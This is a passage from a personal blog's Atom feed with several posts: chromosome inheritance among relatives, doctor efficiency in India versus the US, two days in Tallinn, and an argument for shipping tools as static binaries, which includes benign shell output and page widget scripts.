<a href="https://www.nbcnews.com/id/wbna10827385?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">trace</a> their ancestry to just four women.</p>
<p>Notice the weird asymmetry, though.
While the Mitochondrial DNA is passed down to a child regardless of the gender, the Y chromosome is passed down
only from a father to a son.</p>
<h2 id="what-about-siblings">What about siblings</h2>
<ul>
<li>A brother and a sister share 0-50% of the X chromosome from the mother&rsquo;s side</li>
<li>Two brothers share the Y chromosome from their father and 0-50% of the X chromosome from their mother</li>
<li>Two sisters share the X chromosome from their father and 0-50% of the X chromosome from their mother</li>
</ul>
<p>So, a pair of step-sisters (same mother, different fathers) will share 0-50% of the X chromosome from their mother.
While a pair of step-sisters (same father, different mothers) will share 50% of the X chromosome from their father
and 0-50% of the X chromosome from their mother.
So, step-sisters from the same father are more closely related than step-sisters from the same mother.</p>
<h2 id="what-about-other-relatives">What about other relatives</h2>
<ul>
<li>A female child has no 23rd chromosome overlap with her paternal grandfather</li>
<li>A female child has 50% overall chromosome overlap with her paternal grandmother</li>
<li>A male child has no 23rd chromosome overlap with his paternal grandmother</li>
<li>A male child has 50% overall chromosome overlap with his paternal grandfather</li>
</ul>
<p>It gets pretty interesting when one looks at other relatives.</p>
<ul>
<li>A female child has anywhere between 25% to 50% chromosome overlap with her maternal aunt (mother&rsquo;s sister)</li>
<li>A male child has 50% chromosome overlap with his paternal uncle (father&rsquo;s brother)</li>
</ul>
<h3 id="23rd-chromosome-overlap-for-a-female">23rd chromosome overlap for a female</h3>
<figure>
    
    <a href="./female-child.svg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="./female-child.svg"/> </a>
</figure>

<h3 id="23rd-chromosome-overlap-for-a-male">23rd chromosome overlap for a male</h3>
<figure>
    
    <a href="./male-child.svg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="./male-child.svg"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/parenting" term="parenting" label="parenting"/><category scheme="https://ashishb.net/tag/genes" term="genes" label="genes"/><category scheme="https://ashishb.net/tag/gender" term="gender" label="gender"/></entry><entry><title type="html">Doctors per capita</title><link href="https://ashishb.net/short-stories/doctors-per-capita/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/made-in-america/?utm_source=atom_feed" rel="related" type="text/html" title="Made in America"/><link href="https://ashishb.net/finance/why-not-abolish-employer-provided-health-insurance/?utm_source=atom_feed" rel="related" type="text/html" title="Why not abolish employer-provided health insurance?"/><link href="https://ashishb.net/short-stories/sri-lanka-juice-stall/?utm_source=atom_feed" rel="related" type="text/html" title="At a juice stall in Sri Lanka"/><link href="https://ashishb.net/short-stories/price-variance/?utm_source=atom_feed" rel="related" type="text/html" title="Price variance in the United States"/><link href="https://ashishb.net/travel/air-india/?utm_source=atom_feed" rel="related" type="text/html" title="A surprisingly positive experience with Air India"/><id>https://ashishb.net/short-stories/doctors-per-capita/</id><author><name>Ashish Bhatia</name></author><published>2025-07-19T16:00:19+00:00</published><updated>2025-07-19T16:00:19+00:00</updated><content type="html"><![CDATA[<blockquote>A doctors per capita comparison misses out on the nuances of how healthcare is delivered in different countries</blockquote><p>There was blood in my cough.
The doctor, in India, after a basic analysis concluded that it is a minor infection.
On my insistence, he decided to do an X-Ray.
5 minutes later, I had the X-ray in my hand.
The staff asked me to wait outside the surgery room as the doctor was busy with a surgery during that time.</p>
<p>10 minutes later, the doctor came out, quickly analyzed my X-ray scan and concluded that my concern about something more
severe was unfounded.</p>
<p>In the United States, this would have been three different appointments of 30 minutes each.</p>
<p>United States has 2.6 doctors per 1000 people.
India has 0.9 doctors per 1000 people.</p>
<p>The per capita number is grossly misleading as for common ailments, a doctor in India is at least
10-20 times more efficient/productive than a doctor in the United States.</p>
<p>Rarely do I see the doctor&rsquo;s efficiency being discussed in the   
    
    
<a href="https://www.reuters.com/world/india/india-builds-more-hospitals-population-surges-doctors-short-supply-2023-05-10/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">common discourse</a>.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/india" term="india" label="India"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/><category scheme="https://ashishb.net/tag/healthcare" term="healthcare" label="healthcare"/><category scheme="https://ashishb.net/tag/this-american-life" term="this-american-life" label="this-american-life"/></entry><entry><title type="html">Two days in Tallinn, Estonia</title><link href="https://ashishb.net/travel/tallinn-estonia/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/warsaw-poland/?utm_source=atom_feed" rel="related" type="text/html" title="A short stay at Warsaw, Poland"/><link href="https://ashishb.net/travel/vilnius-lithuania/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Vilnius, Lithuania"/><link href="https://ashishb.net/travel/riga-latvia/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Riga, Latvia"/><link href="https://ashishb.net/travel/helsinki-finland/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Helsinki, Finland"/><link href="https://ashishb.net/travel/oslo-norway/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Oslo, Norway"/><id>https://ashishb.net/travel/tallinn-estonia/</id><author><name>Ashish Bhatia</name></author><published>2025-07-12T17:00:57+00:00</published><updated>2025-07-12T17:00:57+00:00</updated><content type="html"><![CDATA[<blockquote>Discover charming Tallinn on a walking tour, climb historic towers, and explore fascinating tunnels. Unveil the Soviet secrets at the KGB museum for an unforgettable adventure!</blockquote><p>I started from trip on an evening ferry from 
<a href="/travel/helsinki-finland/">Helsinki, Finland</a>.
Tallinn, like 
<a href="/travel/budapest-hungary/">Budapest</a>, is a charming Eastern European castle town.</p>
<h2 id="day-1">Day 1</h2>
<p>Starting with a walking tour,   
    
    
<a href="https://www.talesofreval.ee/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Tales of Reval</a> is amazing.</p>
<figure>
    
    <a href="estonia-deer.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="estonia-deer.jpg"
         alt="A picturesque scene features a deer standing in a lush green forest, surrounded by trees and foliage, creating a serene natural atmosphere." width="900"/> </a>
</figure>

<p>After the Danish Christian king established his control over this region,
he invited German traders to set up trading outposts.
The original name of the city, &ldquo;Reval&rdquo; comes from German Reh-fall,
or a deer that fell off the cliff during the hunt.</p>
<p>Do climb to the top of   
    
    
<a href="https://visittallinn.ee/eng/visitor/see-do/things-to-do/attractions-museums/175262/town-hall-tower?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Town Hall Tower</a> for 6€, it is a nice climb and the views are gorgeous.
However, feel free to skip this for   
    
    
<a href="https://www.visitestonia.com/en/hellemann-tower-and-town-wall?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hellemann Tower</a>.</p>
<figure>
    
    <a href="estonia-tallin-skyline.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="estonia-tallin-skyline.jpg"
         alt="A cityscape of Tallinn&#39;s Old Town featuring historic buildings and red-roofed architecture under a clear sky." width="900"/> </a>
</figure>

<p>The old town is gorgeous to roam around. I would highly recommend staying in the old town.</p>
<figure>
    
    <a href="estonia-katarina-kaik.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="estonia-katarina-kaik.jpg"
         alt="Talinn old town" width="900"/> </a>
</figure>

<figure>
    
    <a href="estonia-tallinn-church.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="estonia-tallinn-church.jpg"
         alt="A narrow medieval passageway lined with stone walls, part of a historic old town, featuring weathered surfaces and a tranquil atmosphere." width="900"/> </a>
</figure>

<h2 id="day-2">Day 2</h2>
<p>Start your day with a tour of 15th-century   
    
    
<a href="https://visittallinn.ee/eng/visitor/see-do/things-to-do/attractions-museums/175387/bastion-passages-in-the-tallinn-old-town?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bastion Tunnels</a>.
These tunnels were used for supplying fortifications.
They were used during World War II as bunkers. The 12€ ticket for this covers   
    
    
<a href="https://www.visitestonia.com/en/hellemann-tower-and-town-wall?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hellemann Tower</a> as well.
One can easily spend hours here.</p>
<figure>
    
    <a href="estonia-tallinn-bastion-tunnels.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="estonia-tallinn-bastion-tunnels.jpg"
         alt="A historic stone tower and part of the old town wall, surrounded by trees and urban landscape, in Tallinn, Estonia" width="900"/> </a>
</figure>

<figure>
    
    <a href="estonia-tallinn-castle-walls.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="estonia-tallinn-castle-walls.jpg"
         alt="The historic bastion tunnels and castle walls in Tallinn, Estonia" width="900"/> </a>
</figure>

<p>Next head to the KGB museum tour at Viru Hotel for 14€.   
    
    
<a href="https://en.wikipedia.org/wiki/Sokos_Hotel_Viru?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Viru Hotel</a>,
built during the Soviet era, was set up for foreign guests and was used by the KGB to spy on foreign visitors.
The tour takes you to the top floor which the KGB used for spying on the visitors using various spying devices.
The tour wasn&rsquo;t great.
The artifacts, however, were awesome.</p>
<figure>
    
    <a href="estonia-tallinn-viru-hotel.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="estonia-tallinn-viru-hotel.jpg"
         alt="Viru Hotel, Tallinn, Estonia" width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/estonia" term="estonia" label="estonia"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/></entry><entry><title type="html">Ship tools as standalone static binaries</title><link href="https://ashishb.net/programming/tools-standalone-binaries/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/intellij-wasting-disk-space/?utm_source=atom_feed" rel="related" type="text/html" title="How IntelliJ IDEs waste disk space"/><link href="https://ashishb.net/programming/python-in-production/?utm_source=atom_feed" rel="related" type="text/html" title="It is hard to recommend Python in production"/><link href="https://ashishb.net/programming/using-python-uv-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; uv inside Docker"/><link href="https://ashishb.net/programming/flask-vs-fastapi/?utm_source=atom_feed" rel="related" type="text/html" title="FastAPI vs Flask performance comparison"/><link href="https://ashishb.net/programming/python-in-production-2/?utm_source=atom_feed" rel="related" type="text/html" title="How to run Python in production"/><id>https://ashishb.net/programming/tools-standalone-binaries/</id><author><name>Ashish Bhatia</name></author><published>2025-07-04T00:30:08+00:00</published><updated>2025-07-04T00:30:08+00:00</updated><content type="html"><![CDATA[<blockquote>Ship tools as standalone binaries</blockquote><table>
  <thead>
      <tr>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>  
    
    
<a href="https://www.reddit.com/r/programming/comments/1lroey4/ship_tools_as_standalone_static_binaries/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Reddit" loading="lazy" src="/programming/tools-standalone-binaries/reddit-badge-1.svg"></a></td>
          <td>  
    
    
<a href="https://www.programmerweekly.com/p/programmer-weekly-issue-261-july-10-2025?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Programmer Weekly" loading="lazy" src="/img/programmer-weekly-badge.svg"></a></td>
      </tr>
  </tbody>
</table>
<p>Open AI is   
    
    
<a href="https://github.com/openai/codex/discussions/1174?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ditching</a> TypeScript to rebuild Codex in Rust.
This is a great example of why you should always ship tools as standalone static binaries using compiled languages.</p>
<blockquote class="reddit-embed-bq" data-embed-theme="dark" data-embed-height="276">
    <a href="https://www.reddit.com/r/_subreddit_does_not_matter/comments/1lkdu2m/comment/mzr9qcb/">
    Reddit Comment
    </a>
</blockquote>
<script async="" src="https://embed.reddit.com/widgets.js" charset="UTF-8"></script>

<p>The biggest advantage of such tools is not speed or efficiency.
Rather, it is the ability to not install the full tool chain to just use a tool.</p>
<h2 id="compiler-provides-additional-safety-check">Compiler provides additional safety check</h2>
<p>Compilation is an additional 
<a href="/tech/engineering-guardrails/">guardrail</a> that reduces the likelihood of shipping
non-functioning code.</p>
<p>  
    
    
<a href="https://cloud.google.com/sdk/docs/install?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Google Cloud CLI</a> is written in Python and even Google has
shipped outright   
    
    
<a href="https://issuetracker.google.com/issues/373506510?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">broken</a>
tool   
    
    
<a href="https://issuetracker.google.com/issues/289153005?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">quite</a> a
  
    
    
<a href="https://issuetracker.google.com/issues/348206840?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">few</a> times in it.
What chance do much smaller teams have of shipping a functioning tool without a compiler?</p>
<h2 id="no-toolchain-dependencies-for-end-users">No toolchain dependencies for end-users</h2>
<p>When you ship a tool written in a compiled language, you ship a single binary.
When you ship a tool written in an interpreted language, the users of the tool need to have the
appropriate version of the development environment (e.g. Python, Ruby, TypeScript) installed on their machine
to run the tool.</p>
<p>The problem is not just the toolchain but the full-fledged versions of the development environment
that one needs to run the tool.</p>
<p>Consider a Markdown linter   
    
    
<a href="https://rubygems.org/gems/mdl/versions/0.13.0?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">mdl</a> written in Ruby.
Every time Ruby is upgraded on my machine by homebrew, I have to reinstall mdl!
And I don&rsquo;t even use Ruby regularly for anything else.</p>
<p>If you want to use   
    
    
<a href="https://www.npmjs.com/package/markdownlint?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">markdownlint</a>, the JavaScript version of mdl,
you need to install npm and install its   
    
    
<a href="https://deps.dev/npm/markdownlint?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">44 dependencies</a> which again supports
particular versions of <code>npm</code>.</p>
<h2 id="interpreted-languages-create-disk-size-bloat">Interpreted languages create disk size bloat</h2>
<p>Consider another standalone tool like   
    
    
<a href="https://github.com/Aider-AI/aider?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">aider</a>,
probably the most popular FOSS coding assistant.
It is written in Python and installing it via Homebrew installs additional 51 homebrew packages as dependencies.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ brew deps aider  | uniq | wc -l
</span></span><span style="display:flex;"><span><span style="color:#2aa198">52</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>This consumes ~3GiB of disk space.
That&rsquo;s more than the size of most GNU/Linux distributions.</p>
<h3 id="before-installing-aider">Before installing aider</h3>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ df -h
</span></span><span style="display:flex;"><span>Filesystem        Size    Used   Avail Capacity iused ifree %iused  Mounted on
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>/dev/disk3s5     320Gi   252Gi    51Gi    84%    1.5M  530M    0%   /System/Volumes/Data
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><h3 id="after-installing-aider">After installing aider</h3>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Filesystem        Size    Used   Avail Capacity iused ifree %iused  Mounted on
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>/dev/disk3s5     320Gi   255Gi    49Gi    84%    1.6M  509M    0%   /System/Volumes/Data
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Compare this to   
    
    
<a href="https://docs.astral.sh/uv/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">uv</a>, a great Python package manager written in Rust.
It is a single binary and does not require any toolchain dependencies.
The binary is only ~35MiB in size.
And I don&rsquo;t need to install Rust or a heaven-forbids a Rust version manager like <code>rustup</code> to use it.</p>
<h2 id="security">Security</h2>
<p>Every single dependency you add to your tool increases the attack surface.
The   
    
    
<a href="https://www.npmjs.com/package/@openai/codex?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Open AI&rsquo;s Codex</a> has
  
    
    
<a href="https://deps.dev/npm/%40openai%2Fcodex?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">24 direct dependencies</a> and
  
    
    
<a href="https://deps.dev/npm/%40openai%2Fcodex?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">another 184 indirect dependencies</a>.</p>
<p>How many of these dependencies have been audited by Open AI?
How many of these dependencies have a
  
    
    
<a href="https://www.sentinelone.com/blog/unseen-threats-in-software-development-the-perils-of-trojanized-npm-packages/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">postinstall step</a>
that can execute arbitrary code on the user&rsquo;s machine?
Assuming Open AI has audited some version of all of these dependencies, the version of these dependencies that are
installed is not even locked in, so, a future dependency update can break the tool, introduce a security
vulnerability, or be an
  
    
    
<a href="https://www.sonatype.com/blog/multiple-crypto-packages-hijacked-turned-into-info-stealers?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">outright malicious package</a></p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Json
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
